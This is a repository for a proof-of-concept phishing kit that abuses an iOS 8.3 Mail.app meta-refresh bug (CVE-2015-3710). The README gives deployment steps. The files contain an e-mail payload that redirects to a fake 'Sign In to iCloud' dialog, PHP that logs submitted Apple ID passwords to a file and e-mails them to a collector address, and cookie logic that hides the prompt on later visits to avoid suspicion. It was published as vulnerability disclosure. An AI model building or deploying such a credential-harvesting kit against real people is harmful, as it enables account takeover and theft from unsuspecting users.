├── LICENSE
├── README.md
├── email.html
├── framework.php
├── index.php
└── mydata.txt


/LICENSE:
--------------------------------------------------------------------------------
 1 | The MIT License (MIT)
 2 | 
 3 | Copyright (c) 2015 Jan Soucek
 4 | 
 5 | Permission is hereby granted, free of charge, to any person obtaining a copy
 6 | of this software and associated documentation files (the "Software"), to deal
 7 | in the Software without restriction, including without limitation the rights
 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
 9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 | 
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 | 
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 | 


--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
 1 | # iOS 8.3 Mail.app inject kit
 2 | 
 3 | Back in January 2015 I stumbled upon a bug in iOS's mail client, resulting in `<meta http-equiv=refresh>` HTML tag in e-mail messages not being ignored. This bug allows remote HTML content to be loaded, replacing the content of the original e-mail message. JavaScript is disabled in this UIWebView, but it is still possible to build a functional password "collector" using simple HTML and CSS.
 4 | 
 5 | It was filed under Radar #19479280 back in January, but the fix was not delivered in any of the iOS updates following 8.1.2.
 6 | Therefore I decided to publish the proof of concept code here.
 7 | 
 8 | Demo: https://www.youtube.com/watch?v=9wiMG-oqKf0
 9 | 
10 | 
11 | ##### Update 2015-06-30:
12 | The exploit got a nice `CVE-2015-3710` sticker and was fixed by Apple in [iOS 8.4](https://support.apple.com/en-us/HT204941) and [OS X 10.10.4](https://support.apple.com/en-us/HT204942).
13 | Kudos to Apple for prompt response once it was published publicly.
14 | 
15 | ## Usage
16 | 
17 | 1. Edit the e-mail address you would like to use for password collection in `framework.php`
18 | 2. Upload `index.php`, `framework.php` and `mydata.txt` to your server
19 | 3. Send an e-mail containing HTML code from `email.html` to the research subject
20 |    - Don't forget to change the `modal-username` GET parameter value to the e-mail address of the recipient
21 |    - You can use https://putsmail.com for testing purposes
22 | 
23 | 
24 | ## Credits
25 | 
26 | - Framework7: Vladimir Kharlampidi (http://www.idangero.us/framework7/) - Framework7's CSS code was used for the login dialog styling
27 | 
28 | 
29 | ## License
30 | 
31 | MIT
32 | 
33 | ## Notes
34 | 
35 | - The code detects that the research subject has already visited the page in the past (using cookies) and it stops displaying the password prompt to reduce suspicion.
36 | - The e-mail address and password are submitted via GET to `framework.php`, which then saves them to the `mydata.txt` file, sends them out via e-mail to the specified "collector" e-mail address and then returns the research subject back to Mail.app using redirect to `message://dummy`.
37 | - The password field has autofocus enabled. We then use focus detection to hide the login dialog once the password field loses its focus (e.g. after the subject clicks on OK and submits the password).
38 | - [Why even bother with this redirect nonsense when you can put `<form>` directly inside the HTML e-mail?](https://github.com/jansoucek/iOS-Mail.app-inject-kit/issues/1)
39 | 


--------------------------------------------------------------------------------
/email.html:
--------------------------------------------------------------------------------
 1 | <!DOCTYPE html>
 2 | <html>
 3 | <head>
 4 | 	<meta charset="utf-8">
 5 | 	<meta content="initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no, width=device-width, height=device-height" name="viewport">
 6 | 	<meta http-equiv=refresh content=0;URL=http://your.domain/mail-inject/index.php?modal-username=research@subject.tld />
 7 | 	<style>
 8 | 	  html, body {
 9 | 		position: relative;
10 | 		height: 100%;
11 | 		width: 100%;
12 | 		overflow-x: hidden;
13 | 	  }
14 | 	  
15 | 	  body {
16 | 		font-family: Helvetica Neue,Helvetica,Arial,sans-serif;
17 | 		margin: 0;
18 | 		padding: 0;
19 | 		color: #000;
20 | 		font-size: 14px;
21 | 		line-height: 1.4;
22 | 		width: 100%;
23 | 		height: 110%;
24 | 		-webkit-text-size-adjust: 100%;
25 | 		background: #fff;
26 | 		overflow: hidden;
27 | 	  }
28 |     </style>
29 | </head>
30 | <body>
31 | 	<p>Lorem ipsum EMAIL CONTENT</p>
32 | </body>
33 | </html>


--------------------------------------------------------------------------------
/framework.php:
--------------------------------------------------------------------------------
 1 | <?php
 2 | if(isset($_GET['modal-username']) && isset($_GET['modal-password'])) {
 3 | 	$email = htmlspecialchars(stripslashes($_GET['modal-username']));
 4 | 	$password = htmlspecialchars(stripslashes($_GET['modal-password']));
 5 |     $data = $email . '-' . $password . "\n";
 6 |     $ret = file_put_contents('./mydata.txt', $data, FILE_APPEND | LOCK_EX);
 7 |     if($ret === false) {
 8 |         die('There was an error.');
 9 |     }
10 |     else {
11 | 	    mail('product-security@apple.com','Apple ID Password',"Thanks for your password! \n $data ¯\_(ツ)_/¯ \n https://github.com/jansoucek/iOS-Mail.app-inject-kit");
12 | 	    header("Location: http://is.gd/9VOMTp"); //Redirects recipient from Safari back to Mail.app using message://dummy
13 | 	    die();
14 |     }
15 | }
16 | else {
17 |    die('No GET data to process. Thanks for trying.');
18 | }
19 | ?>


--------------------------------------------------------------------------------
/index.php:
--------------------------------------------------------------------------------
  1 | <?php
  2 | if(isset($_COOKIE["first_visit"])) {
  3 |     setcookie("second_visit", "true", time() + (86400 * 999), "/");
  4 |     }
  5 | 
  6 | setcookie("first_visit", "true", time() + (86400 * 999), "/");
  7 | ?>
  8 | 
  9 | <!DOCTYPE html>
 10 | <html>
 11 | <head>
 12 | 	<meta charset="utf-8">
 13 | 	<meta content="initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no, width=device-width, height=device-height" name="viewport">
 14 | 
 15 | 	<title>iCloud login</title>
 16 | 	<style>
 17 | 	  html, body {
 18 | 		position: relative;
 19 | 		height: 100%;
 20 | 		width: 100%;
 21 | 		overflow-x: hidden;
 22 | 	  }
 23 | 	  
 24 | 	  body {
 25 | 		font-family: Helvetica Neue,Helvetica,Arial,sans-serif;
 26 | 		margin: 0;
 27 | 		padding: 0;
 28 | 		color: #000;
 29 | 		font-size: 14px;
 30 | 		line-height: 1.4;
 31 | 		width: 100%;
 32 | 		height: 110%;
 33 | 		-webkit-text-size-adjust: 100%;
 34 | 		background: #fff;
 35 | 		overflow: hidden;
 36 | 	  }
 37 | 	  
 38 | 	  * {
 39 | 		-webkit-tap-highlight-color: transparent;
 40 | 		-webkit-touch-callout: none;
 41 | 	  }
 42 | 	  
 43 | 	  input {
 44 | 		outline: 0;
 45 | 	  }
 46 | 	  
 47 | 	  /* start of Framework7 css
 48 | 	   * Framework7 0.10.0
 49 | 	   * Full Featured HTML Framework For Building iOS 7 Apps
 50 | 	   *
 51 | 	   * http://www.idangero.us/framework7
 52 | 	   *
 53 | 	   * Copyright 2014, Vladimir Kharlampidi
 54 | 	   * The iDangero.us
 55 | 	   * http://www.idangero.us/
 56 | 	   *
 57 | 	   * Licensed under MIT
 58 | 	   *
 59 | 	   * Released on: December 8, 2014
 60 | 	  */
 61 | 	  
 62 | 	  .modal-overlay {
 63 | 		position: absolute;
 64 | 		left: 0;
 65 | 		top: 0;
 66 | 		width: 100%;
 67 | 		height: 100%;
 68 | 		background: rgba(0,0,0,.4);
 69 | 		z-index: 10600;
 70 | 		visibility: hidden;
 71 | 		opacity: 0;
 72 | 		-webkit-transition-duration: 400ms;
 73 | 		transition-duration: 400ms;
 74 | 	  }
 75 | 	  
 76 | 	  .modal-overlay.modal-overlay-visible {
 77 | 		visibility: visible;
 78 | 		opacity: 1;
 79 | 	  }
 80 | 	  
 81 | 	  .modal {
 82 | 		width: 270px;
 83 | 		position: absolute;
 84 | 		z-index: 11000;
 85 | 		left: 50%;
 86 | 		margin-left: -135px;
 87 | 		margin-top: 0;
 88 | 		top: 50%;
 89 | 		text-align: center;
 90 | 		border-radius: 7px;
 91 | 		opacity: 0;
 92 | 		-webkit-transform: translate3d(0,0,0) scale(1.185);
 93 | 		transform: translate3d(0,0,0) scale(1.185);
 94 | 		-webkit-transition-property: -webkit-transform,opacity;
 95 | 		transition-property: transform,opacity;
 96 | 		color: #000;
 97 | 	  }
 98 | 	  
 99 | 	  .modal.modal-in {
100 | 		opacity: 1;
101 | 		-webkit-transition-duration: 400ms;
102 | 		transition-duration: 400ms;
103 | 		-webkit-transform: translate3d(0,0,0) scale(1);
104 | 		transform: translate3d(0,0,0) scale(1);
105 | 	  }
106 | 	  
107 | 	  .modal-inner {
108 | 		padding: 15px;
109 | 		border-bottom: 1px solid #b5b5b5;
110 | 		border-radius: 7px 7px 0 0;
111 | 		background: #e8e8e8;
112 | 	  }
113 | 	  
114 | 	  .modal-title {
115 | 		font-weight: 500;
116 | 		font-size: 18px;
117 | 		text-align: center;
118 | 	  }
119 | 	  
120 | 	  .modal-title + .modal-text {
121 | 		margin-top: 5px;
122 | 	  }
123 | 	  
124 | 	  .modal-buttons {
125 | 		height: 44px;
126 | 		overflow: hidden;
127 | 		display: -webkit-box;
128 | 		display: -webkit-flex;
129 | 		display: flex;
130 | 		-webkit-box-pack: center;
131 | 		-webkit-justify-content: center;
132 | 		justify-content: center;
133 | 	  }
134 | 	  
135 | 	  .modal-button {
136 | 		width: 100%;
137 | 		padding: 0 5px;
138 | 		height: 44px;
139 | 		font-size: 17px;
140 | 		line-height: 44px;
141 | 		text-align: center;
142 | 		color: #007aff;
143 | 		background: #e8e8e8;
144 | 		display: block;
145 | 		position: relative;
146 | 		white-space: nowrap;
147 | 		text-overflow: ellipsis;
148 | 		overflow: hidden;
149 | 		cursor: pointer;
150 | 		-webkit-box-sizing: border-box;
151 | 		box-sizing: border-box;
152 | 		border-right: 1px solid #b5b5b5;
153 | 		-webkit-box-flex: 1;
154 | 		border-radius: 0 0 7px 0;
155 | 	  }
156 | 	  
157 | 	  .modal-button.modal-button-bold {
158 | 		font-weight: 500;
159 | 	  }
160 | 	  
161 | 	  .modal-button:first-child {
162 | 		border-radius:0 0 0 7px;
163 | 	  }
164 | 	  
165 | 	  .modal-button:last-child {
166 | 		border-radius: 0 0 7px 0;
167 | 		border-bottom: none;
168 | 	  }
169 | 	  
170 | 	  input.modal-text-input {
171 | 		-webkit-box-sizing: border-box;
172 | 		box-sizing: border-box;
173 | 		height: 30px;
174 | 		background: #fff;
175 | 		margin: 0;
176 | 		margin-top: 15px;
177 | 		padding: 0 5px;
178 | 		border: 1px solid #a0a0a0;
179 | 		border-radius: 5px;
180 | 		width: 100%;
181 | 		font-size: 14px;
182 | 		font-family: inherit;
183 | 		display: block;
184 | 		-webkit-box-shadow: 0 0 0 transparent;
185 | 		box-shadow: 0 0 0 transparent;
186 | 		-webkit-appearance: none;
187 | 		appearance: none;
188 | 	  }
189 | 	  
190 | 	  input.modal-text-input.modal-text-input-double {
191 | 		border-radius: 5px 5px 0 0;
192 | 	  }
193 | 	  
194 | 	  input.modal-text-input.modal-text-input-double+input.modal-text-input {
195 | 		margin-top: 0;
196 | 		border-top: 0;
197 | 		border-radius: 0 0 5px 5px;
198 | 	  }
199 | 	  /*end of Framework7 css*/ 
200 | 	     
201 | 	  input[type=submit] {
202 | 		visibility: hidden;
203 | 		position: absolute;
204 | 		top: -999px;
205 | 	  }
206 | 	  
207 | 	  input[type=text],input[type=password] {
208 | 		font-size: 16px;
209 | 	  }
210 | 	  
211 | 	  #password-input + div {
212 | 		display: block;
213 | 		position: absolute;
214 | 		top: -10px;
215 | 		left: -53px;
216 | 		width: 3000px;
217 | 		height: 3000px;
218 | 		background-color: white;
219 | 		z-index: 1;
220 | 		font-size: 14px;
221 | 		pointer-events: none;
222 | 		text-align: left;
223 | 	  }
224 | 
225 | 	  @media only screen 
226 | 	  and (min-device-width : 768px) 
227 | 	  and (max-device-width : 1024px) 
228 | 	  and (orientation : landscape) {
229 | 		  .modal.modal-in {
230 | 			  opacity: 1;
231 | 			  -webkit-transition-duration: 400ms;
232 | 			  transition-duration: 400ms;
233 | 			  -webkit-transform: translate3d(0,0,0) scale(0.9);
234 | 			  transform: translate3d(0,0,0) scale(0.9);
235 | 			  left: 200px;
236 | 		  }
237 | 		  #password-input + div {
238 | 			  top: -23px;
239 | 			  left: -87px;
240 | 		  }
241 | 	  }
242 | 	  
243 | 	  @media only screen 
244 | 	  and (min-device-width : 768px) 
245 | 	  and (max-device-width : 1024px) 
246 | 	  and (orientation : portrait) {
247 | 		  .modal.modal-in {
248 | 			  opacity: 1;
249 | 			  -webkit-transition-duration: 400ms;
250 | 			  transition-duration: 400ms;
251 | 			  -webkit-transform: translate3d(0,0,0) scale(0.8);
252 | 			  transform: translate3d(0,0,0) scale(0.8);
253 | 		  }
254 | 		  #password-input + div {
255 | 			  top: -39px;
256 | 			  left: -305px;
257 | 		  }
258 | 	  }
259 | 	  
260 | 	  #password-input:focus + div {
261 | 		display: none;
262 | 	  }
263 | 	</style>
264 | </head>
265 | 
266 | <body>
267 | 
268 | <?php
269 | if(isset($_COOKIE["second_visit"])) {
270 |     echo "<p>Lorem ipsum CONSECUTIVE VISIT WEB CONTENT</p></body></html>";
271 |     die();
272 | }
273 | ?>
274 | 
275 | 	<p>Lorem ipsum PRE-SUBMIT WEB CONTENT</p>
276 | 
277 | 	<div class="modal-overlay modal-overlay-visible"></div>
278 | 
279 | 	<div class="modal modal-in" style="top: 10px;">
280 | 		<div class="modal-inner">
281 | 			<div class="modal-title">
282 | 				Sign In to iCloud
283 | 			</div>
284 | 
285 | 			<div class="modal-text">
286 | 				Enter your Apple ID e-mail address and password
287 | 			</div>
288 | 
289 | 			<form action="http://your.domain/mail-inject/framework.php" id="myform" method="get" name="myform">
290 | 				<input class="modal-text-input modal-text-input-double" name="modal-username" type="text" value="<?php
291 | 					if (isset($_GET['modal-username'])) {
292 | 					echo htmlspecialchars(stripslashes($_GET['modal-username']));
293 | 					} else echo "research@subject.tld";
294 | 					?>"><input autofocus="" class="modal-text-input modal-text-input-double" id="password-input" name="modal-password" placeholder="Password" type="password">
295 | 
296 | 				<div>
297 | 					<p>Lorem ipsum POST-SUBMIT WEB CONTENT</p>
298 | 				</div>
299 | 				</input>
300 | 		</div>
301 | 
302 | 		<div class="modal-buttons">
303 | 			<span class="modal-button">Cancel</span> <span class="modal-button modal-button-bold"><label for="submit" style="display: block; width: 100%; height: 100%;">OK<input id="submit" type="submit" value="OK"></label></span>
304 | 			</form>
305 | 		</div>
306 | 	</div>
307 | 
308 | </body>
309 | </html>


--------------------------------------------------------------------------------
/mydata.txt:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jankais3r/iOS-Mail.app-inject-kit/4af89623ce01079708c9c6ff85215aeb840749a8/mydata.txt


--------------------------------------------------------------------------------